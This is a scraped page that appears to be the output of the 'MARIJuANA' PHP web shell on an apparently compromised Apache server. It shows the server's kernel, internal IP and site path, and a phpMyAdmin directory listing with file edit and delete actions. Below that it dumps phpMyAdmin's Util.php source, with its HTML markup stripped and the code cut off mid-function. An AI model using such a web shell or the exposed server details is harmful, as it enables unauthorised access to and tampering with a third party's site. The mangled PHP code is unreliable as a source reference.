MARIJuANA
— DIOS — NO — CREA — NADA — EN — VANO —
Linux instance-20230208-1745 6.8.0-1013-oracle #13~22.04.1-Ubuntu SMP Mon Sep 2 13:02:56 UTC 2024 x86_64
  SOFT : Apache/2.4.52 (Ubuntu) PHP : 8.1.2-1ubuntu2.19
/var/www/barra_do_choca/public_html/phpmyadmin/libraries/classes/
10.0.0.135

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACT ]
+FILE +DIR
Config dir drwxrwxr-x 2021-01-14 03:39 R D
Controllers dir drwxrwxr-x 2021-01-14 03:39 R D
Database dir drwxrwxr-x 2021-01-14 03:39 R D
Dbi dir drwxrwxr-x 2021-01-14 03:39 R D
Di dir drwxrwxr-x 2021-01-14 03:39 R D
Display dir drwxrwxr-x 2021-01-14 03:39 R D
Engines dir drwxrwxr-x 2021-01-14 03:39 R D
Gis dir drwxrwxr-x 2021-01-14 03:39 R D
Navigation dir drwxrwxr-x 2021-01-14 03:39 R D
Plugins dir drwxrwxr-x 2021-01-14 03:39 R D
Properties dir drwxrwxr-x 2021-01-14 03:39 R D
Rte dir drwxrwxr-x 2021-01-14 03:39 R D
Server dir drwxrwxr-x 2021-01-14 03:39 R D
Twig dir drwxrwxr-x 2021-01-14 03:39 R D
Utils dir drwxrwxr-x 2021-01-14 03:39 R D
Advisor.php 18.787 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Bookmark.php 10.373 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
BrowseForeigners.php 10.728 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
CentralColumns.php 53.123 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Charsets.php 24.924 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
CheckUserPrivileges.php 11.58 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Config.php 59.693 KB -rw-rw-r-- 2020-03-31 13:59 R E G D
Console.php 3.582 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Core.php 38.983 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
CreateAddField.php 17.975 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
DatabaseInterface.php 103.86 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Encoding.php 8.254 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Error.php 13.047 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ErrorHandler.php 16.684 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ErrorReport.php 8.37 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Export.php 40.319 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
File.php 20.529 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
FileListing.php 2.833 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Font.php 4.251 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Footer.php 10.537 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Header.php 25.812 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Import.php 55.594 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Index.php 24.631 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
IndexColumn.php 4.427 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
InsertEdit.php 129.289 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
IpAllowDeny.php 9.205 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Language.php 4.297 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
LanguageManager.php 23.421 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Linter.php 5.097 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ListAbstract.php 3.15 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ListDatabase.php 4.217 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Logging.php 2.557 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Menu.php 22.341 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Message.php 19.187 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Mime.php 0.87 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
MultSubmits.php 23.193 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Normalization.php 39.029 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
OpenDocument.php 8.495 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Operations.php 79.063 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
OutputBuffering.php 3.629 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ParseAnalyze.php 2.459 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Partition.php 7.264 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Pdf.php 4.072 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Plugins.php 21.417 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
RecentFavoriteTable.php 12.134 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Relation.php 78.193 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
RelationCleanup.php 14.704 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Replication.php 5.365 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ReplicationGui.php 41.792 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Response.php 16.314 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Sanitize.php 14.149 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SavedSearches.php 11.953 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Scripts.php 5.329 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Session.php 7.815 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Sql.php 88.221 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SqlQueryForm.php 17.19 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
StorageEngine.php 13.469 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SubPartition.php 3.531 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SysInfo.php 1.537 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SysInfoBase.php 0.782 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SysInfoLinux.php 1.963 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SysInfoSunOS.php 1.869 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SysInfoWINNT.php 3.249 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
SystemDatabase.php 3.836 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Table.php 92.586 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Template.php 3.914 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Theme.php 10.529 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ThemeManager.php 10.731 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Tracker.php 29.722 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Tracking.php 41.99 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Transformations.php 16.116 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
TwoFactor.php 7.104 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Types.php 22.75 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Url.php 8.171 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
UserPassword.php 8.47 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
UserPreferences.php 8.52 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
Util.php 162.988 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
VersionInformation.php 6.345 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
ZipExtension.php 9.979 KB -rw-rw-r-- 2020-03-20 22:08 R E G D
REQUEST EXIT
'; if ($include_icon) { $button .= self::getImage($icon, $alternate); } if ($include_icon && $include_text) { $button .= ' '; } if ($include_text) { $button .= $alternate; } $button .= $menu_icon ? '' : ''; return $button; } /** * Returns an HTML IMG tag for a particular image from a theme * * The image name should match CSS class defined in icons.css.php * * @param string $image The name of the file to get * @param string $alternate Used to set 'alt' and 'title' attributes * of the image * @param array $attributes An associative array of other attributes * * @return string an html IMG tag */ public static function getImage($image, $alternate = '', array $attributes = array()) { $alternate = htmlspecialchars($alternate); // Set $url accordingly if (isset($GLOBALS['pmaThemeImage'])) { $url = $GLOBALS['pmaThemeImage'] . $image; } else { $url = './themes/pmahomme/' . $image; } if (isset($attributes['class'])) { $attributes['class'] = "icon ic_$image " . $attributes['class']; } else { $attributes['class'] = "icon ic_$image"; } // set all other attributes $attr_str = ''; foreach ($attributes as $key => $value) { if (! in_array($key, array('alt', 'title'))) { $attr_str .= " $key=\"$value\""; } } // override the alt attribute if (isset($attributes['alt'])) { $alt = $attributes['alt']; } else { $alt = $alternate; } // override the title attribute if (isset($attributes['title'])) { $title = $attributes['title']; } else { $title = $alternate; } // generate the IMG tag $template = '%s'; $retval = sprintf($template, $title, $alt, $attr_str); return $retval; } /** * Returns the formatted maximum size for an upload * * @param integer $max_upload_size the size * * @return string the message * * @access public */ public static function getFormattedMaximumUploadSize($max_upload_size) { // I have to reduce the second parameter (sensitiveness) from 6 to 4 // to avoid weird results like 512 kKib list($max_size, $max_unit) = self::formatByteDown($max_upload_size, 4); return '(' . sprintf(__('Max: %s%s'), $max_size, $max_unit) . ')'; } /** * Generates a hidden field which should indicate to the browser * the maximum size for upload * * @param integer $max_size the size * * @return string the INPUT field * * @access public */ public static function generateHiddenMaxFileSize($max_size) { return ''; } /** * Add slashes before "_" and "%" characters for using them in MySQL * database, table and field names. * Note: This function does not escape backslashes! * * @param string $name the string to escape * * @return string the escaped string * * @access public */ public static function escapeMysqlWildcards($name) { return strtr($name, array('_' => '\\_', '%' => '\\%')); } // end of the 'escapeMysqlWildcards()' function /** * removes slashes before "_" and "%" characters * Note: This function does not unescape backslashes! * * @param string $name the string to escape * * @return string the escaped string * * @access public */ public static function unescapeMysqlWildcards($name) { return strtr($name, array('\\_' => '_', '\\%' => '%')); } // end of the 'unescapeMysqlWildcards()' function /** * removes quotes (',",`) from a quoted string * * checks if the string is quoted and removes this quotes * * @param string $quoted_string string to remove quotes from * @param string $quote type of quote to remove * * @return string unqoted string */ public static function unQuote($quoted_string, $quote = null) { $quotes = array(); if ($quote === null) { $quotes[] = '`'; $quotes[] = '"'; $quotes[] = "'"; } else { $quotes[] = $quote; } foreach ($quotes as $quote) { if (mb_substr($quoted_string, 0, 1) === $quote && mb_substr($quoted_string, -1, 1) === $quote ) { $unquoted_string = mb_substr($quoted_string, 1, -1); // replace escaped quotes $unquoted_string = str_replace( $quote . $quote, $quote, $unquoted_string ); return $unquoted_string; } } return $quoted_string; } /** * format sql strings * * @param string $sqlQuery raw SQL string * @param boolean $truncate truncate the query if it is too long * * @return string the formatted sql * * @global array $cfg the configuration array * * @access public * @todo move into PMA_Sql */ public static function formatSql($sqlQuery, $truncate = false) { global $cfg; if ($truncate && mb_strlen($sqlQuery) > $cfg['MaxCharactersInDisplayedSQL'] ) { $sqlQuery = mb_substr( $sqlQuery, 0, $cfg['MaxCharactersInDisplayedSQL'] ) . '[...]'; } return '
' . "\n"
            . htmlspecialchars($sqlQuery) . "\n"
            . '
'; } // end of the "formatSql()" function /** * Displays a link to the documentation as an icon * * @param string $link documentation link * @param string $target optional link target * @param boolean $bbcode optional flag indicating whether to output bbcode * * @return string the html link * * @access public */ public static function showDocLink($link, $target = 'documentation', $bbcode = false) { if($bbcode){ return "[a@$link@$target][dochelpicon][/a]"; } return '' . self::getImage('b_help', __('Documentation')) . ''; } // end of the 'showDocLink()' function /** * Get a URL link to the official MySQL documentation * * @param string $link contains name of page/anchor that is being linked * @param string $anchor anchor to page part * * @return string the URL link * * @access public */ public static function getMySQLDocuURL($link, $anchor = '') { // Fixup for newly used names: $link = str_replace('_', '-', mb_strtolower($link)); if (empty($link)) { $link = 'index'; } $mysql = '5.5'; $lang = 'en'; if (isset($GLOBALS['dbi'])) { $serverVersion = $GLOBALS['dbi']->getVersion(); if ($serverVersion >= 50700) { $mysql = '5.7'; } elseif ($serverVersion >= 50600) { $mysql = '5.6'; } elseif ($serverVersion >= 50500) { $mysql = '5.5'; } } $url = 'https://dev.mysql.com/doc/refman/' . $mysql . '/' . $lang . '/' . $link . '.html'; if (! empty($anchor)) { $url .= '#' . $anchor; } return Core::linkURL($url); } /** * Displays a link to the official MySQL documentation * * @param string $link contains name of page/anchor that is being linked * @param bool $big_icon whether to use big icon (like in left frame) * @param string $anchor anchor to page part * @param bool $just_open whether only the opening tag should be returned * * @return string the html link * * @access public */ public static function showMySQLDocu( $link, $big_icon = false, $anchor = '', $just_open = false ) { $url = self::getMySQLDocuURL($link, $anchor); $open_link = ''; if ($just_open) { return $open_link; } elseif ($big_icon) { return $open_link . self::getImage('b_sqlhelp', __('Documentation')) . ''; } return self::showDocLink($url, 'mysql_doc'); } // end of the 'showMySQLDocu()' function /** * Returns link to documentation. * * @param string $page Page in documentation * @param string $anchor Optional anchor in page * * @return string URL */ public static function getDocuLink($page, $anchor = '') { /* Construct base URL */ $url = $page . '.html'; if (!empty($anchor)) { $url .= '#' . $anchor; } /* Check if we have built local documentation, however * provide consistent URL for testsuite */ if (! defined('TESTSUITE') && @file_exists('doc/html/index.html')) { if ($GLOBALS['PMA_Config']->get('is_setup')) { return '../doc/html/' . $url; } return './doc/html/' . $url; } return Core::linkURL('https://docs.phpmyadmin.net/en/latest/' . $url); } /** * Displays a link to the phpMyAdmin documentation * * @param string $page Page in documentation * @param string $anchor Optional anchor in page * @param boolean $bbcode Optional flag indicating whether to output bbcode * * @return string the html link * * @access public */ public static function showDocu($page, $anchor = '', $bbcode = false) { return self::showDocLink(self::getDocuLink($page, $anchor), 'documentation', $bbcode); } // end of the 'showDocu()' function /** * Displays a link to the PHP documentation * * @param string $target anchor in documentation * * @return string the html link * * @access public */ public static function showPHPDocu($target) { $url = Core::getPHPDocLink($target); return self::showDocLink($url); } // end of the 'showPHPDocu()' function /** * Returns HTML code for a tooltip * * @param string $message the message for the tooltip * * @return string * * @access public */ public static function showHint($message) { if ($GLOBALS['cfg']['ShowHint']) { $classClause = ' class="pma_hint"'; } else { $classClause = ''; } return '' . self::getImage('b_help') . '' . $message . '' . ''; } /** * Displays a MySQL error message in the main panel when $exit is true. * Returns the error message otherwise. * * @param string|bool $server_msg Server's error message. * @param string $sql_query The SQL query that failed. * @param bool $is_modify_link Whether to show a "modify" link or not. * @param string $back_url URL for the "back" link (full path is * not required). * @param bool $exit Whether execution should be stopped or * the error message should be returned. * * @return string * * @global string $table The current table. * @global string $db The current database. * * @access public */ public static function mysqlDie( $server_msg = '', $sql_query = '', $is_modify_link = true, $back_url = '', $exit = true ) { global $table, $db; /** * Error message to be built. * @var string $error_msg */ $error_msg = ''; // Checking for any server errors. if (empty($server_msg)) { $server_msg = $GLOBALS['dbi']->getError(); } // Finding the query that failed, if not specified. if ((empty($sql_query) && (!empty($GLOBALS['sql_query'])))) { $sql_query = $GLOBALS['sql_query']; } $sql_query = trim($sql_query); /** * The lexer used for analysis. * @var Lexer $lexer */ $lexer = new Lexer($sql_query); /** * The parser used for analysis. * @var Parser $parser */ $parser = new Parser($lexer->list); /** * The errors found by the lexer and the parser. * @var array $errors */ $errors = ParserError::get(array($lexer, $parser)); if (empty($sql_query)) { $formatted_sql = ''; } elseif (count($errors)) { $formatted_sql = htmlspecialchars($sql_query); } else { $formatted_sql = self::formatSql($sql_query, true); } $error_msg .= '

' . __('Error') . '

'; // For security reasons, if the MySQL refuses the connection, the query // is hidden so no details are revealed. if ((!empty($sql_query)) && (!(mb_strstr($sql_query, 'connect')))) { // Static analysis errors. if (!empty($errors)) { $error_msg .= '

' . __('Static analysis:') . '

'; $error_msg .= '

' . sprintf( __('%d errors were found during analysis.'), count($errors) ) . '

'; $error_msg .= '

    '; $error_msg .= implode( ParserError::format( $errors, '
  1. %2$s (near "%4$s" at position %5$d)
  2. ' ) ); $error_msg .= '

'; } // Display the SQL query and link to MySQL documentation. $error_msg .= '

' . __('SQL query:') . '' . "\n"; $formattedSqlToLower = mb_strtolower($formatted_sql); // TODO: Show documentation for all statement types. if (mb_strstr($formattedSqlToLower, 'select')) { // please show me help to the error on select $error_msg .= self::showMySQLDocu('SELECT'); } if ($is_modify_link) { $_url_params = array( 'sql_query' => $sql_query, 'show_query' => 1, ); if (strlen($table) > 0) { $_url_params['db'] = $db; $_url_params['table'] = $table; $doedit_goto = ''; } elseif (strlen($db) > 0) { $_url_params['db'] = $db; $doedit_goto = ''; } else { $doedit_goto = ''; } $error_msg .= $doedit_goto . self::getIcon('b_edit', __('Edit')) . ''; } $error_msg .= '

' . "\n" . '

' . "\n" . $formatted_sql . "\n" . '

' . "\n"; } // Display server's error. if (!empty($server_msg)) { $server_msg = preg_replace( "@((\015\012)|(\015)|(\012)){3,}@", "\n\n", $server_msg ); // Adds a link to MySQL documentation. $error_msg .= '

' . "\n" . ' ' . __('MySQL said: ') . '' . self::showMySQLDocu('Error-messages-server') . "\n" . '

' . "\n"; // The error message will be displayed within a CODE segment. // To preserve original formatting, but allow word-wrapping, // a couple of replacements are done. // All non-single blanks and TAB-characters are replaced with their // HTML-counterpart $server_msg = str_replace( array(' ', "\t"), array('  ', '    '), $server_msg ); // Replace line breaks $server_msg = nl2br($server_msg); $error_msg .= '' . $server_msg . '
'; } $error_msg .= '
'; $_SESSION['Import_message']['message'] = $error_msg; if (!$exit) { return $error_msg; } /** * If this is an AJAX request, there is no "Back" link and * `Response()` is used to send the response. */ $response = Response::getInstance(); if ($response->isAjax()) { $response->setRequestStatus(false); $response->addJSON('message', $error_msg); exit; } if (!empty($back_url)) { if (mb_strstr($back_url, '?')) { $back_url .= '&no_history=true'; } else { $back_url .= '?no_history=true'; } $_SESSION['Import_message']['go_back_url'] = $back_url; $error_msg .= '
' . '[ ' . __('Back') . ' ]' . '
' . "\n\n"; } exit($error_msg); } /** * Check the correct row count * * @param string $db the db name * @param array $table the table infos * * @return int $rowCount the possibly modified row count * */ private static function _checkRowCount($db, array $table) { $rowCount = 0; if ($table['Rows'] === null) { // Do not check exact row count here, // if row count is invalid possibly the table is defect // and this would break the navigation panel; // but we can check row count if this is a view or the // information_schema database // since Table::countRecords() returns a limited row count // in this case. // set this because Table::countRecords() can use it $tbl_is_view = $table['TABLE_TYPE'] == 'VIEW'; if ($tbl_is_view || $GLOBALS['dbi']->isSystemSchema($db)) { $rowCount = $GLOBALS['dbi'] ->getTable($db, $table['Name']) ->countRecords(); } } return $rowCount; } /** * returns array with tables of given db with extended information and grouped * * @param string $db name of db * @param string $tables name of tables * @param integer $limit_offset list offset * @param int|bool $limit_count max tables to return * * @return array (recursive) grouped table list */ public static function getTableList( $db, $tables = null, $limit_offset = 0, $limit_count = false ) { $sep = $GLOBALS['cfg']['NavigationTreeTableSeparator']; if ($tables === null) { $tables = $GLOBALS['dbi']->getTablesFull( $db, '', false, $limit_offset, $limit_count ); if ($GLOBALS['cfg']['NaturalOrder']) { uksort($tables, 'strnatcasecmp'); } } if (count($tables) < 1) { return $tables; } $default = array( 'Name' => '', 'Rows' => 0, 'Comment' => '', 'disp_name' => '', ); $table_groups = array(); foreach ($tables as $table_name => $table) { $table['Rows'] = self::_checkRowCount($db, $table); // in $group we save the reference to the place in $table_groups // where to store the table info if ($GLOBALS['cfg']['NavigationTreeEnableGrouping'] && $sep && mb_strstr($table_name, $sep) ) { $parts = explode($sep, $table_name); $group =& $table_groups; $i = 0; $group_name_full = ''; $parts_cnt = count($parts) - 1; while (($i < $parts_cnt) && ($i < $GLOBALS['cfg']['NavigationTreeTableLevel']) ) { $group_name = $parts[$i] . $sep; $group_name_full .= $group_name; if (! isset($group[$group_name])) { $group[$group_name] = array(); $group[$group_name]['is' . $sep . 'group'] = true; $group[$group_name]['tab' . $sep . 'count'] = 1; $group[$group_name]['tab' . $sep . 'group'] = $group_name_full; } elseif (! isset($group[$group_name]['is' . $sep . 'group'])) { $table = $group[$group_name]; $group[$group_name] = array(); $group[$group_name][$group_name] = $table; $group[$group_name]['is' . $sep . 'group'] = true; $group[$group_name]['tab' . $sep . 'count'] = 1; $group[$group_name]['tab' . $sep . 'group'] = $group_name_full; } else { $group[$group_name]['tab' . $sep . 'count']++; } $group =& $group[$group_name]; $i++; } } else { if (! isset($table_groups[$table_name])) { $table_groups[$table_name] = array(); } $group =& $table_groups; } $table['disp_name'] = $table['Name']; $group[$table_name] = array_merge($default, $table); } return $table_groups; } /* ----------------------- Set of misc functions ----------------------- */ /** * Adds backquotes on both sides of a database, table or field name. * and escapes backquotes inside the name with another backquote * * example: * * echo backquote('owner`s db'); // `owner``s db` * * * * @param mixed $a_name the database, table or field name to "backquote" * or array of it * @param boolean $do_it a flag to bypass this function (used by dump * functions) * * @return mixed the "backquoted" database, table or field name * * @access public */ public static function backquote($a_name, $do_it = true) { if (is_array($a_name)) { foreach ($a_name as &$data) { $data = self::backquote($data, $do_it); } return $a_name; } if (! $do_it) { if (!(Context::isKeyword($a_name) & Token::FLAG_KEYWORD_RESERVED) ) { return $a_name; } } // '0' is also empty for php :-( if (strlen($a_name) > 0 && $a_name !== '*') { return '`' . str_replace('`', '``', $a_name) . '`'; } return $a_name; } // end of the 'backquote()' function /** * Adds backquotes on both sides of a database, table or field name. * in compatibility mode * * example: * * echo backquoteCompat('owner`s db'); // `owner``s db` * * * * @param mixed $a_name the database, table or field name to * "backquote" or array of it * @param string $compatibility string compatibility mode (used by dump * functions) * @param boolean $do_it a flag to bypass this function (used by dump * functions) * * @return mixed the "backquoted" database, table or field name * * @access public */ public static function backquoteCompat( $a_name, $compatibility = 'MSSQL', $do_it = true ) { if (is_array($a_name)) { foreach ($a_name as &$data) { $data = self::backquoteCompat($data, $compatibility, $do_it); } return $a_name; } if (! $do_it) { if (!Context::isKeyword($a_name)) { return $a_name; } } // @todo add more compatibility cases (ORACLE for example) switch ($compatibility) { case 'MSSQL': $quote = '"'; break; default: $quote = "`"; break; } // '0'